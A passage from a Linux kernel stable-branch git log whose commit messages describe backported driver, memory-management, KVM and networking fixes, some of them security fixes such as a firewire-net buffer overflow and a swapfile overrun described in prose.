(config or otherwise) causing us to not use sendpage() for larger transfers, a failing connection, and have it fail "just at the right time". Apparently that was unlikely enough for most, so this went unnoticed for years. Still, it is known to trigger at least some of these, and suspected for the others: [0] http://lists.linbit.com/pipermail/drbd-user/2016-July/023112.html [1] http://lists.linbit.com/pipermail/drbd-dev/2016-March/003362.html [2] https://forums.grsecurity.net/viewtopic.php?f=3&t=4546 [3] https://ubuntuforums.org/showthread.php?t=2336150 [4] http://e2.howsolveproblem.com/i/1175162/ This should go into 4.9, and into all stable branches since and including v4.0, which is the first to contain the exposing change. It is correct for all stable branches older than that as well (which contain the DRBD driver; which is 2.6.33 and up). It requires a small "conflict" resolution for v4.4 and earlier, with v4.5 we dropped the comment block immediately preceding the kernel_sendmsg(). Fixes: b411b3637fa7 ("The DRBD driver") Cc: viro@zeniv.linux.org.uk Cc: christoph.lechleitner@iteg.at Cc: wolfgang.glas@iteg.at Reported-by: Christoph Lechleitner Tested-by: Christoph Lechleitner Signed-off-by: Richard Weinberger [changed oneliner to be "obvious" without context; more verbose message] Signed-off-by: Lars Ellenberg Signed-off-by: Jens Axboe Signed-off-by: Jiri Slaby commit 64839139c65f84f0573cfd38fbfe04b63b978c7b Author: Felipe Balbi Date: Tue Nov 1 13:20:22 2016 +0200 usb: gadget: u_ether: remove interrupt throttling commit fd9afd3cbe404998d732be6cc798f749597c5114 upstream. According to Dave Miller "the networking stack has a hard requirement that all SKBs which are transmitted must have their completion signalled in a fininte amount of time. This is because, until the SKB is freed by the driver, it holds onto socket, netfilter, and other subsystem resources." In summary, this means that using TX IRQ throttling for the networking gadgets is, at least, complex and we should avoid it for the time being. Reported-by: Ville Syrjälä Tested-by: Ville Syrjälä Suggested-by: David Miller Signed-off-by: Felipe Balbi Signed-off-by: Jiri Slaby commit 0cd002e7684d4170c6a990cdc174fb63648479c0 Author: Paul Fertser Date: Thu Oct 27 17:22:09 2016 +0300 Revert "staging: nvec: ps2: change serio type to passthrough" commit 17c1c9ba15b238ef79b51cf40d855c05b58d5934 upstream. This reverts commit 36b30d6138f4677514aca35ab76c20c1604baaad. This is necessary to detect paz00 (ac100) touchpad properly as one speaking ETPS/2 protocol. Without it X.org's synaptics driver doesn't work as the touchpad is detected as an ImPS/2 mouse instead. Commit ec6184b1c717b8768122e25fe6d312f609cc1bb4 changed the way auto-detection is performed on ports marked as pass through and made the issue apparent. A pass through port is an additional PS/2 port used to connect a slave device to a master device that is using PS/2 to communicate with the host (so slave's PS/2 communication is tunneled over master's PS/2 link). "Synaptics PS/2 TouchPad Interfacing Guide" describes such a setup (PS/2 PASS-THROUGH OPTION section). Since paz00's embedded controller is not connected to a PS/2 port itself, the PS/2 interface it exposes is not a pass-through one. Signed-off-by: Paul Fertser Acked-by: Marc Dietrich Fixes: 36b30d6138f4 ("staging: nvec: ps2: change serio type to passthrough") Signed-off-by: Jiri Slaby commit 7b95b08e333e10ef842b02ac4cba0426bd8725d4 Author: Paul Fertser Date: Thu Oct 27 17:22:08 2016 +0300 drivers: staging: nvec: remove bogus reset command for PS/2 interface commit d8f8a74d5fece355d2234e1731231d1aebc66b38 upstream. This command was sent behind serio's back and the answer to it was confusing atkbd probe function which lead to the elantech touchpad getting detected as a keyboard. To prevent this from happening just let every party do its part of the job. Signed-off-by: Paul Fertser Acked-by: Marc Dietrich Signed-off-by: Jiri Slaby commit 8b4458df0fd4de18cb8232380f0897a08bdb95d4 Author: Arnd Bergmann Date: Mon Oct 24 17:22:01 2016 +0200 staging: iio: ad5933: avoid uninitialized variable in error case commit 34eee70a7b82b09dbda4cb453e0e21d460dae226 upstream. The ad5933_i2c_read function returns an error code to indicate whether it could read data or not. However ad5933_work() ignores this return code and just accesses the data unconditionally, which gets detected by gcc as a possible bug: drivers/staging/iio/impedance-analyzer/ad5933.c: In function 'ad5933_work': drivers/staging/iio/impedance-analyzer/ad5933.c:649:16: warning: 'status' may be used uninitialized in this function [-Wmaybe-uninitialized] This adds minimal error handling so we only evaluate the data if it was correctly read. Link: https://patchwork.kernel.org/patch/8110281/ Signed-off-by: Arnd Bergmann Acked-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Jiri Slaby commit 4175b792f71d35b058c696d8b39d42f858005e6e Author: Michael Holzheu Date: Tue Oct 25 16:24:28 2016 +0200 s390/hypfs: Use get_free_page() instead of kmalloc to ensure page alignment commit 237d6e6884136923b6bd26d5141ebe1d065960c9 upstream. Since commit d86bd1bece6f ("mm/slub: support left redzone") it is no longer guaranteed that kmalloc(PAGE_SIZE) returns page aligned memory. After the above commit we get an error for diag224 because aligned memory is required. This leads to the following user visible error: # mount none -t s390_hypfs /sys/hypervisor/ mount: unknown filesystem type 's390_hypfs' # dmesg | grep hypfs hypfs.cccfb8: The hardware system does not provide all functions required by hypfs hypfs.7a79f0: Initialization of hypfs failed with rc=-61 Fix this problem and use get_free_page() instead of kmalloc() to get correctly aligned memory. Signed-off-by: Michael Holzheu Signed-off-by: Martin Schwidefsky Signed-off-by: Jiri Slaby commit 03ef87a54e5606bf5aab07fa4f47b19c3cff8501 Author: Andrey Ryabinin Date: Thu Nov 10 10:46:38 2016 -0800 coredump: fix unfreezable coredumping task commit 70d78fe7c8b640b5acfad56ad341985b3810998a upstream. It could be not possible to freeze coredumping task when it waits for 'core_state->startup' completion, because threads are frozen in get_signal() before they got a chance to complete 'core_state->startup'. Inability to freeze a task during suspend will cause suspend to fail. Also CRIU uses cgroup freezer during dump operation. So with an unfreezable task the CRIU dump will fail because it waits for a transition from 'FREEZING' to 'FROZEN' state which will never happen. Use freezer_do_not_count() to tell freezer to ignore coredumping task while it waits for core_state->startup completion. Link: http://lkml.kernel.org/r/1475225434-3753-1-git-send-email-aryabinin@virtuozzo.com Signed-off-by: Andrey Ryabinin Acked-by: Pavel Machek Acked-by: Oleg Nesterov Cc: Alexander Viro Cc: Tejun Heo Cc: "Rafael J. Wysocki" Cc: Michal Hocko Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Jiri Slaby commit f422056e14e52b7e6b6eccea74b5ffb2f888e7c3 Author: Jann Horn Date: Thu Nov 10 10:46:19 2016 -0800 swapfile: fix memory corruption via malformed swapfile commit dd111be69114cc867f8e826284559bfbc1c40e37 upstream. When root activates a swap partition whose header has the wrong endianness, nr_badpages elements of badpages are swabbed before nr_badpages has been checked, leading to a buffer overrun of up to 8GB. This normally is not a security issue because it can only be exploited by root (more specifically, a process with CAP_SYS_ADMIN or the ability to modify a swap file/partition), and such a process can already e.g. modify swapped-out memory of any other userspace process on the system. Link: http://lkml.kernel.org/r/1477949533-2509-1-git-send-email-jann@thejh.net Signed-off-by: Jann Horn Acked-by: Kees Cook Acked-by: Jerome Marchand Acked-by: Johannes Weiner Cc: "Kirill A. Shutemov" Cc: Vlastimil Babka Cc: Hugh Dickins Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Jiri Slaby commit 462a6dac43f454a1baf4b381893ff7db2741beb8 Author: Sean Young Date: Thu Nov 10 17:44:49 2016 +0100 dib0700: fix nec repeat handling commit ba13e98f2cebd55a3744c5ffaa08f9dca73bf521 upstream. When receiving a nec repeat, ensure the correct scancode is repeated rather than a random value from the stack. This removes the need for the bogus uninitialized_var() and also fixes the warnings: drivers/media/usb/dvb-usb/dib0700_core.c: In function ‘dib0700_rc_urb_completion’: drivers/media/usb/dvb-usb/dib0700_core.c:679: warning: ‘protocol’ may be used uninitialized in this function [sean addon: So after writing the patch and submitting it, I've bought the hardware on ebay. Without this patch you get random scancodes on nec repeats, which the patch indeed fixes.] Signed-off-by: Sean Young Tested-by: Sean Young Signed-off-by: Arnd Bergmann Signed-off-by: Linus Torvalds Signed-off-by: Jiri Slaby commit 3b2b619b1de5cbe886c13465a7dca3c8d523e360 Author: murray foster Date: Sun Oct 9 13:28:45 2016 -0700 ASoC: cs4270: fix DAPM stream name mismatch commit aa5f920993bda2095952177eea79bc8e58ae6065 upstream. Mismatching stream names in DAPM route and widget definitions are causing compilation errors. Fixing these names allows the cs4270 driver to compile and function. [Errors must be at probe time not compile time -- broonie] Signed-off-by: Murray Foster Acked-by: Paul Handrigan Signed-off-by: Mark Brown Signed-off-by: Jiri Slaby commit e515e61bcf2e1f9d936c3fc431d884e6c0ccee9a Author: Sumit Saxena Date: Wed Nov 9 02:59:42 2016 -0800 scsi: megaraid_sas: fix macro MEGASAS_IS_LOGICAL to avoid regression commit 5e5ec1759dd663a1d5a2f10930224dd009e500e8 upstream. This patch will fix regression caused by commit 1e793f6fc0db ("scsi: megaraid_sas: Fix data integrity failure for JBOD (passthrough) devices"). The problem was that the MEGASAS_IS_LOGICAL macro did not have braces and as a result the driver ended up exposing a lot of non-existing SCSI devices (all SCSI commands to channels 1,2,3 were returned as SUCCESS-DID_OK by driver). [mkp: clarified patch description] Fixes: 1e793f6fc0db920400574211c48f9157a37e3945 Reported-by: Jens Axboe Signed-off-by: Kashyap Desai Signed-off-by: Sumit Saxena Tested-by: Sumit Saxena Reviewed-by: Tomas Henzl Tested-by: Jens Axboe Signed-off-by: Martin K. Petersen Signed-off-by: Jiri Slaby commit b0363263e57199808d17e597df74cbdb28abbe55 Author: Jan Beulich Date: Thu Apr 21 00:27:04 2016 -0600 x86/mm/xen: Suppress hugetlbfs in PV guests commit 103f6112f253017d7062cd74d17f4a514ed4485c upstream. Huge pages are not normally available to PV guests. Not suppressing hugetlbfs use results in an endless loop of page faults when user mode code tries to access a hugetlbfs mapped area (since the hypervisor denies such PTEs to be created, but error indications can't be propagated out of xen_set_pte_at(), just like for various of its siblings), and - once killed in an oops like this: kernel BUG at .../fs/hugetlbfs/inode.c:428! invalid opcode: 0000 [#1] SMP ... RIP: e030:[] [] remove_inode_hugepages+0x25b/0x320 ... Call Trace: [] hugetlbfs_evict_inode+0x15/0x40 [] evict+0xbd/0x1b0 [] __dentry_kill+0x19a/0x1f0 [] dput+0x1fe/0x220 [] __fput+0x155/0x200 [] task_work_run+0x60/0xa0 [] do_exit+0x160/0x400 [] do_group_exit+0x3b/0xa0 [] get_signal+0x1ed/0x470 [] do_signal+0x14/0x110 [] prepare_exit_to_usermode+0xe9/0xf0 [] retint_user+0x8/0x13 This is CVE-2016-3961 / XSA-174. Reported-by: Vitaly Kuznetsov Signed-off-by: Jan Beulich Cc: Andrew Morton Cc: Andy Lutomirski Cc: Boris Ostrovsky Cc: Borislav Petkov Cc: Brian Gerst Cc: David Vrabel Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Juergen Gross Cc: Linus Torvalds Cc: Luis R. Rodriguez Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Toshi Kani Cc: xen-devel Link: http://lkml.kernel.org/r/57188ED802000078000E431C@prv-mh.provo.novell.com Signed-off-by: Ingo Molnar Signed-off-by: Jiri Slaby commit 54da3bb035806b0e1961e831a5078cac839a33ec Author: Dominik Dingel Date: Fri Jul 17 16:23:37 2015 -0700 mm: hugetlb: allow hugepages_supported to be architecture specific commit 2531c8cf56a640cd7d17057df8484e570716a450 upstream. s390 has a constant hugepage size, by setting HPAGE_SHIFT we also change e.g. the pageblock_order, which should be independent in respect to hugepage support. With this patch every architecture is free to define how to check for hugepage support. Signed-off-by: Dominik Dingel Acked-by: Martin Schwidefsky Cc: Heiko Carstens Cc: Christian Borntraeger Cc: Michael Holzheu Cc: Gerald Schaefer Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Jiri Slaby commit 8eb89eb32820c4f5182e766e83080344f397a34d Author: Oliver Neukum Date: Thu Nov 3 12:31:41 2016 +0100 HID: usbhid: add ATEN CS962 to list of quirky devices commit cf0ea4da4c7df11f7a508b2f37518e0f117f3791 upstream. Like many similar devices it needs a quirk to work. Issuing the request gets the device into an irrecoverable state. Signed-off-by: Oliver Neukum Signed-off-by: Jiri Kosina Signed-off-by: Jiri Slaby commit f1fbfad3f2d647e67ee57cfbfb7addc020beae9f Author: Jiri Slaby Date: Mon Oct 3 11:00:17 2016 +0200 tty: vt, fix bogus division in csi_J commit 42acfc6615f47e465731c263bee0c799edb098f2 upstream. In csi_J(3), the third parameter of scr_memsetw (vc_screenbuf_size) is divided by 2 inappropriatelly. But scr_memsetw expects size, not count, because it divides the size by 2 on its own before doing actual memset-by-words. So remove the bogus division. Signed-off-by: Jiri Slaby Cc: Petr Písař Fixes: f8df13e0a9 (tty: Clean console safely) Signed-off-by: Jiri Slaby commit 82ed23da6bd0a676b236ef085f507a5b78a9fef8 Author: David Hsu Date: Tue Aug 9 14:57:46 2016 -0700 pwm: Unexport children before chip removal commit 0733424c9ba9f42242409d1ece780777272f7ea1 upstream. Exported pwm channels aren't removed before the pwmchip and are leaked. This results in invalid sysfs files. This fix removes all exported pwm channels before chip removal. Signed-off-by: David Hsu Fixes: 76abbdde2d95 ("pwm: Add sysfs interface") Signed-off-by: Thierry Reding Signed-off-by: Jiri Slaby commit 6f02d1094b22cfec037b152a3e0f4fbb3d13e61e Author: Boris Brezillon Date: Fri Sep 16 16:59:12 2016 +0200 UBI: fastmap: scrub PEB when bitflips are detected in a free PEB EC header commit ecbfa8eabae9cd73522d1d3d15869703c263d859 upstream. scan_pool() does not mark the PEB for scrubing when bitflips are detected in the EC header of a free PEB (VID header region left to 0xff). Make sure we scrub the PEB in this case. Signed-off-by: Boris Brezillon Fixes: dbb7d2a88d2a ("UBI: Add fastmap core") Signed-off-by: Richard Weinberger Signed-off-by: Jiri Slaby commit 28b190d66043fac1a437b291f1cf76bfc27c5aa6 Author: Arnd Bergmann Date: Mon Mar 14 23:45:12 2016 +0100 smc91x: avoid self-comparison warning commit e3ebd894f084255fde19116955ba7054858ff5d6 upstream. The smc91x driver defines a macro that compares its argument to itself, apparently to get a true result while using its argument to avoid a warning about unused local variables. Unfortunately, this triggers a warning with gcc-6, as the comparison is obviously useless: drivers/net/ethernet/smsc/smc91x.c: In function 'smc_hardware_send_pkt': drivers/net/ethernet/smsc/smc91x.c:563:14: error: self-comparison always evaluates to true [-Werror=tautological-compare] if (!smc_special_trylock(&lp->lock, flags)) { This replaces the macro with another one that behaves similarly, with a cast to (void) to ensure the argument is used, and using a literal 'true' as its value. Signed-off-by: Arnd Bergmann Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 77b4c57fbe7ea2fbc337040b511cad340ffbf058 Author: Arnd Bergmann Date: Mon Mar 14 15:22:25 2016 +0100 drm/exynos: fix error handling in exynos_drm_subdrv_open commit 55c4b906aa2aec3fa66310ec03c6842e34a04b2a upstream. gcc-6 warns about a pointless loop in exynos_drm_subdrv_open: drivers/gpu/drm/exynos/exynos_drm_core.c: In function 'exynos_drm_subdrv_open': drivers/gpu/drm/exynos/exynos_drm_core.c:104:199: error: self-comparison always evaluates to false [-Werror=tautological-compare] list_for_each_entry_reverse(subdrv, &subdrv->list, list) { Here, the list_for_each_entry_reverse immediately terminates because the subdrv pointer is compared to itself as the loop end condition. If we were to take the current subdrv pointer as the start of the list (as we would do if list_for_each_entry_reverse() was not a macro), we would iterate backwards over the &exynos_drm_subdrv_list anchor, which would be even worse. Instead, we need to use list_for_each_entry_continue_reverse() to go back over each subdrv that was successfully opened until the first entry. Signed-off-by: Arnd Bergmann Signed-off-by: Inki Dae Signed-off-by: Jiri Slaby commit 782574de6f3d5f12649c72cdb55b7ac314b6bb9c Author: Arnd Bergmann Date: Fri Jul 1 18:02:22 2016 +0100 ARM: 8584/1: floppy: avoid gcc-6 warning commit dd665be0e243873343a28e18f9f345927b658daf upstream. gcc-6.0 warns about comparisons between two identical expressions, which is what we get in the floppy driver when writing to the FD_DOR register: drivers/block/floppy.c: In function 'set_dor': drivers/block/floppy.c:810:44: error: self-comparison always evaluates to true [-Werror=tautological-compare] fd_outb(newdor, FD_DOR); It would be nice to use a static inline function instead of the macro, to avoid the warning, but we cannot do that because the FD_DOR definition is incomplete at this point. Adding a cast to (u32) is a harmless way to shut up the warning, just not very nice. Signed-off-by: Arnd Bergmann Signed-off-by: Russell King Signed-off-by: Jiri Slaby commit 1517f1f0a1ad0e8aab0422b1640bec56f8c2167e Author: Juergen Gross Date: Thu Jun 23 07:12:27 2016 +0200 x86/xen: fix upper bound of pmd loop in xen_cleanhighmap() commit 1cf38741308c64d08553602b3374fb39224eeb5a upstream. xen_cleanhighmap() is operating on level2_kernel_pgt only. The upper bound of the loop setting non-kernel-image entries to zero should not exceed the size of level2_kernel_pgt. Reported-by: Linus Torvalds Signed-off-by: Juergen Gross Signed-off-by: David Vrabel Signed-off-by: Jiri Slaby commit fb3f134ed2aaf0f9152e4fffbe1d46c32952a6cd Author: Lucas Stach Date: Mon Oct 24 23:32:04 2016 +0200 drm/radeon: drop register readback in cayman_cp_int_cntl_setup commit 537b4b462caa8bfb9726d9695b8e56e2d5e6b41e upstream. The read is taking a considerable amount of time (about 50us on this machine). The register does not ever hold anything other than the ring ID that is updated in this exact function, so there is no need for the read modify write cycle. This chops off a big chunk of the time spent in hardirq disabled context, as this function is called multiple times in the interrupt handler. With this change applied radeon won't show up in the list of the worst IRQ latency offenders anymore, where it was a regular before. Reviewed-by: Christian König Signed-off-by: Lucas Stach Signed-off-by: Alex Deucher Signed-off-by: Jiri Slaby commit a20aea3901111ebbdf4fd171d63bb7db949d8d85 Author: Alex Deucher Date: Fri Oct 14 16:38:02 2016 -0400 drm/radeon/si_dpm: workaround for SI kickers commit 7dc86ef5ac91642dfc3eb93ee0f0458e702a343e upstream. Consolidate existing quirks. Fixes stability issues on some kickers. Signed-off-by: Alex Deucher Signed-off-by: Alex Deucher Signed-off-by: Jiri Slaby commit 396e52fe57f7ed0b66bee58a5e25e41ade342b03 Author: Tom St Denis Date: Thu Oct 13 12:38:07 2016 -0400 drm/radeon/si_dpm: Limit clocks on HD86xx part commit fb9a5b0c1c9893db2e0d18544fd49e19d784a87d upstream. Limit clocks on a specific HD86xx part to avoid crashes (while awaiting an appropriate PP fix). Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Jiri Slaby commit 0555f25e82355f900498a675023b79ef8a4ea666 Author: Ching Huang Date: Wed Oct 19 17:50:26 2016 +0800 scsi: arcmsr: Send SYNCHRONIZE_CACHE command to firmware commit 2bf7dc8443e113844d078fd6541b7f4aa544f92f upstream. The arcmsr driver failed to pass SYNCHRONIZE CACHE to controller firmware. Depending on how drive caches are handled internally by controller firmware this could potentially lead to data integrity problems. Ensure that cache flushes are passed to the controller. [mkp: applied by hand and removed unused vars] Signed-off-by: Ching Huang Reported-by: Tomas Henzl Signed-off-by: Martin K. Petersen Signed-off-by: Jiri Slaby commit d5e042c16d27946818e5f79e1cec5f9779672703 Author: Ewan D. Milne Date: Wed Oct 26 11:22:53 2016 -0400 scsi: scsi_debug: Fix memory leak if LBP enabled and module is unloaded commit 4d2b496f19f3c2cfaca1e8fa0710688b5ff3811d upstream. map_storep was not being vfree()'d in the module_exit call. Signed-off-by: Ewan D. Milne Reviewed-by: Laurence Oberman Signed-off-by: Martin K. Petersen Signed-off-by: Jiri Slaby commit 6531f76253572b7c90014c98b97e1e93924ec438 Author: Kashyap Desai Date: Fri Oct 21 06:33:32 2016 -0700 scsi: megaraid_sas: Fix data integrity failure for JBOD (passthrough) devices commit 1e793f6fc0db920400574211c48f9157a37e3945 upstream. Commit 02b01e010afe ("megaraid_sas: return sync cache call with success") modified the driver to successfully complete SYNCHRONIZE_CACHE commands without passing them to the controller. Disk drive caches are only explicitly managed by controller firmware when operating in RAID mode. So this commit effectively disabled writeback cache flushing for any drives used in JBOD mode, leading to data integrity failures. [mkp: clarified patch description] Fixes: 02b01e010afeeb49328d35650d70721d2ca3fd59 Signed-off-by: Kashyap Desai Signed-off-by: Sumit Saxena Reviewed-by: Tomas Henzl Reviewed-by: Hannes Reinecke Reviewed-by: Ewan D. Milne Signed-off-by: Martin K. Petersen Signed-off-by: Jiri Slaby commit 56ccac941c5668cc3e3ac5bfa119487ecd5f65f9 Author: Johannes Berg Date: Wed Oct 5 10:14:42 2016 +0200 mac80211: discard multicast and 4-addr A-MSDUs commit ea720935cf6686f72def9d322298bf7e9bd53377 upstream. In mac80211, multicast A-MSDUs are accepted in many cases that they shouldn't be accepted in: * drop A-MSDUs with a multicast A1 (RA), as required by the spec in 9.11 (802.11-2012 version) * drop A-MSDUs with a 4-addr header, since the fourth address can't actually be useful for them; unless 4-address frame format is actually requested, even though the fourth address is still not useful in this case, but ignored Accepting the first case, in particular, is very problematic since it allows anyone else with possession of a GTK to send unicast frames encapsulated in a multicast A-MSDU, even when the AP has client isolation enabled. Signed-off-by: Johannes Berg Signed-off-by: Jiri Slaby commit 9b2e380324a14d10fe73a1dbbcc5f73fd89f12a5 Author: Stefan Richter Date: Sun Oct 30 17:32:01 2016 +0100 firewire: net: fix fragmented datagram_size off-by-one commit e9300a4b7bbae83af1f7703938c94cf6dc6d308f upstream. RFC 2734 defines the datagram_size field in fragment encapsulation headers thus: datagram_size: The encoded size of the entire IP datagram. The value of datagram_size [...] SHALL be one less than the value of Total Length in the datagram's IP header (see STD 5, RFC 791). Accordingly, the eth1394 driver of Linux 2.6.36 and older set and got this field with a -/+1 offset: ether1394_tx() /* transmit */ ether1394_encapsulate_prep() hdr->ff.dg_size = dg_size - 1; ether1394_data_handler() /* receive */ if (hdr->common.lf == ETH1394_HDR_LF_FF) dg_size = hdr->ff.dg_size + 1; else dg_size = hdr->sf.dg_size + 1; Likewise, I observe OS X 10.4 and Windows XP Pro SP3 to transmit 1500 byte sized datagrams in fragments with datagram_size=1499 if link fragmentation is required. Only firewire-net sets and gets datagram_size without this offset. The result is lacking interoperability of firewire-net with OS X, Windows XP, and presumably Linux' eth1394. (I did not test with the latter.) For example, FTP data transfers to a Linux firewire-net box with max_rec smaller than the 1500 bytes MTU - from OS X fail entirely, - from Win XP start out with a bunch of fragmented datagrams which time out, then continue with unfragmented datagrams because Win XP temporarily reduces the MTU to 576 bytes. So let's fix firewire-net's datagram_size accessors. Note that firewire-net thereby loses interoperability with unpatched firewire-net, but only if link fragmentation is employed. (This happens with large broadcast datagrams, and with large datagrams on several FireWire CardBus cards with smaller max_rec than equivalent PCI cards, and it can be worked around by setting a small enough MTU.) Signed-off-by: Stefan Richter Signed-off-by: Jiri Slaby commit 488c5d8218f38a4c6aa90a65b81492e868a251fd Author: Stefan Richter Date: Sat Oct 29 21:28:18 2016 +0200 firewire: net: guard against rx buffer overflows commit 667121ace9dbafb368618dbabcf07901c962ddac upstream. The IP-over-1394 driver firewire-net lacked input validation when handling incoming fragmented datagrams. A maliciously formed fragment with a respectively large datagram_offset would cause a memcpy past the datagram buffer. So, drop any packets carrying a fragment with offset + length larger than datagram_size. In addition, ensure that - GASP header, unfragmented encapsulation header, or fragment encapsulation header actually exists before we access it, - the encapsulated datagram or fragment is of nonzero size. Reported-by: Eyal Itkin Reviewed-by: Eyal Itkin Fixes: CVE 2016-8633 Signed-off-by: Stefan Richter Signed-off-by: Jiri Slaby commit 16b953308c27b16ae4c918b571d5620d379a4951 Author: Patrick Scheuring Date: Wed Oct 19 12:04:02 2016 -0700 Input: i8042 - add XMG C504 to keyboard reset table commit da25311c7ca8b0254a686fc0d597075b9aa3b683 upstream. The Schenker XMG C504 is a rebranded Gigabyte P35 v2 laptop. Therefore it also needs a keyboard reset to detect the Elantech touchpad. Otherwise the touchpad appears to be dead. With this patch the touchpad is detected: $ dmesg | grep -E "(i8042|Elantech|elantech)" [ 2.675399] i8042: PNP: PS/2 Controller [PNP0303:PS2K,PNP0f13:PS2M] at 0x60,0x64 irq 1,12 [ 2.680372] i8042: Attempting to reset device connected to KBD port [ 2.789037] serio: i8042 KBD port at 0x60,0x64 irq 1 [ 2.791586] serio: i8042 AUX port at 0x60,0x64 irq 12 [ 2.813840] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input4 [ 3.811431] psmouse serio1: elantech: assuming hardware version 4 (with firmware version 0x361f0e) [ 3.825424] psmouse serio1: elantech: Synaptics capabilities query result 0x00, 0x15, 0x0f. [ 3.839424] psmouse serio1: elantech: Elan sample query result 03, 58, 74 [ 3.911349] input: ETPS/2 Elantech Touchpad as /devices/platform/i8042/serio1/input/input6 Signed-off-by: Patrick Scheuring Signed-off-by: Dmitry Torokhov Signed-off-by: Jiri Slaby commit 7265dbca7c6c7cf5de66af5c392f4387323a2087 Author: Matt Redfearn Date: Tue Oct 11 12:05:15 2016 +0100 virtio: console: Unlock vqs while freeing buffers commit 34563769e438d2881f62cf4d9badc4e589ac0ec0 upstream. Commit c6017e793b93 ("virtio: console: add locks around buffer removal in port unplug path") added locking around the freeing of buffers in the vq. However, when free_buf() is called with can_sleep = true and rproc is enabled, it calls dma_free_coherent() directly, requiring interrupts to be enabled. Currently a WARNING is triggered due to the spin locking around free_buf, with a call stack like this: WARNING: CPU: 3 PID: 121 at ./include/linux/dma-mapping.h:433 free_buf+0x1a8/0x288 Call Trace: [<8040c538>] show_stack+0x74/0xc0 [<80757240>] dump_stack+0xd0/0x110 [<80430d98>] __warn+0xfc/0x130 [<80430ee0>] warn_slowpath_null+0x2c/0x3c [<807e7c6c>] free_buf+0x1a8/0x288 [<807ea590>] remove_port_data+0x50/0xac [<807ea6a0>] unplug_port+0xb4/0x1bc [<807ea858>] virtcons_remove+0xb0/0xfc [<807b6734>] virtio_dev_remove+0x58/0xc0 [<807f918c>] __device_release_driver+0xac/0x134 [<807f924c>] device_release_driver+0x38/0x50 [<807f7edc>] bus_remove_device+0xfc/0x130 [<807f4b74>] device_del+0x17c/0x21c [<807f4c38>] device_unregister+0x24/0x38 [<807b6b50>] unregister_virtio_device+0x28/0x44 Fix this by restructuring the loops to allow the locks to only be taken where it is necessary to protect the vqs, and release it while the buffer is being freed. Fixes: c6017e793b93 ("virtio: console: add locks around buffer removal in port unplug path") Signed-off-by: Matt Redfearn Signed-off-by: Michael S. Tsirkin Signed-off-by: Jiri Slaby commit d9e82de839095cbd4ccaff50850c5165ca7993af Author: John David Anglin Date: Fri Oct 28 23:00:34 2016 -0400 parisc: Ensure consistent state when switching to kernel stack at syscall entry commit 6ed518328d0189e0fdf1bb7c73290d546143ea66 upstream. We have one critical section in the syscall entry path in which we switch from the userspace stack to kernel stack. In the event of an external interrupt, the interrupt code distinguishes between those two states by analyzing the value of sr7. If sr7 is zero, it uses the kernel stack. Therefore it's important, that the value of sr7 is in sync with the currently enabled stack. This patch now disables interrupts while executing the critical section. This prevents the interrupt handler to possibly see an inconsistent state which in the worst case can lead to crashes. Interestingly, in the syscall exit path interrupts were already disabled in the critical section which switches back to the userspace stack. Signed-off-by: John David Anglin Signed-off-by: Helge Deller Signed-off-by: Jiri Slaby commit 0fca56f2a2ac129d1a9f8453c8f21ed0347b41f8 Author: James Hogan Date: Tue Oct 25 16:11:11 2016 +0100 KVM: MIPS: Make ERET handle ERL before EXL commit ede5f3e7b54a4347be4d8525269eae50902bd7cd upstream. The ERET instruction to return from exception is used for returning from exception level (Status.EXL) and error level (Status.ERL). If both bits are set however we should be returning from ERL first, as ERL can interrupt EXL, for example when an NMI is taken. KVM however checks EXL first. Fix the order of the checks to match the pseudocode in the instruction set manual. Fixes: e685c689f3a8 ("KVM/MIPS32: Privileged instruction/target branch emulation.") Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim Krčmář" Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Signed-off-by: Paolo Bonzini Signed-off-by: Jiri Slaby commit 5a0561dff3f260364619f999693a5d305bf0e831 Author: Ido Yariv Date: Fri Oct 21 12:39:57 2016 -0400 KVM: x86: fix wbinvd_dirty_mask use-after-free commit bd768e146624cbec7122ed15dead8daa137d909d upstream. vcpu->arch.wbinvd_dirty_mask may still be used after freeing it, corrupting memory. For example, the following call trace may set a bit in an already freed cpu mask: kvm_arch_vcpu_load vcpu_load vmx_free_vcpu_nested vmx_free_vcpu kvm_arch_vcpu_free Fix this by deferring freeing of wbinvd_dirty_mask. Signed-off-by: Ido Yariv Reviewed-by: Paolo Bonzini Signed-off-by: Radim Krčmář Signed-off-by: Jiri Slaby commit 1dc4edef2413dffc53c452f3ba5bd34d71a8eb88 Author: Johan Hovold Date: Wed Oct 19 15:45:07 2016 +0200 USB: serial: cp210x: fix tiocmget error handling commit de24e0a108bc48062e1c7acaa97014bce32a919f upstream. The current tiocmget implementation would fail to report errors up the stack and instead leaked a few bits from the stack as a mask of modem-status flags. Fixes: 39a66b8d22a3 ("[PATCH] USB: CP2101 Add support for flow control") Signed-off-by: Johan Hovold Signed-off-by: Jiri Slaby commit 0607572b7a37825722745ad52f3cd2b4bbc75bf5 Author: Dmitry Vyukov Date: Fri Oct 14 15:18:28 2016 +0200 tty: limit terminal size to 4M chars commit 32b2921e6a7461fe63b71217067a6cf4bddb132f upstream. Size of kmalloc() in vc_do_resize() is controlled by user. Too large kmalloc() size triggers WARNING message on console. Put a reasonable upper bound on terminal size to prevent WARNINGs. Signed-off-by: Dmitry Vyukov CC: David Rientjes Cc: One Thousand Gnomes Cc: Greg Kroah-Hartman Cc: Jiri Slaby Cc: Peter Hurley Cc: linux-kernel@vger.kernel.org Cc: syzkaller@googlegroups.com Signed-off-by: Jiri Slaby commit e4813db38f95b5b8b70416d08e5f404650fff32b Author: Mathias Nyman Date: Thu Oct 20 18:09:18 2016 +0300 xhci: add restart quirk for Intel Wildcatpoint PCH commit 4c39135aa412d2f1381e43802523da110ca7855c upstream. xHC in Wildcatpoint-LP PCH is similar to LynxPoint-LP and need the same quirks to prevent machines from spurious restart while shutting them down. Reported-by: Hasan Mahmood Signed-off-by: Mathias Nyman Signed-off-by: Jiri Slaby commit 5ec8acb01c720a8522e5998814eead852dccb512 Author: Long Li Date: Wed Oct 5 16:57:46 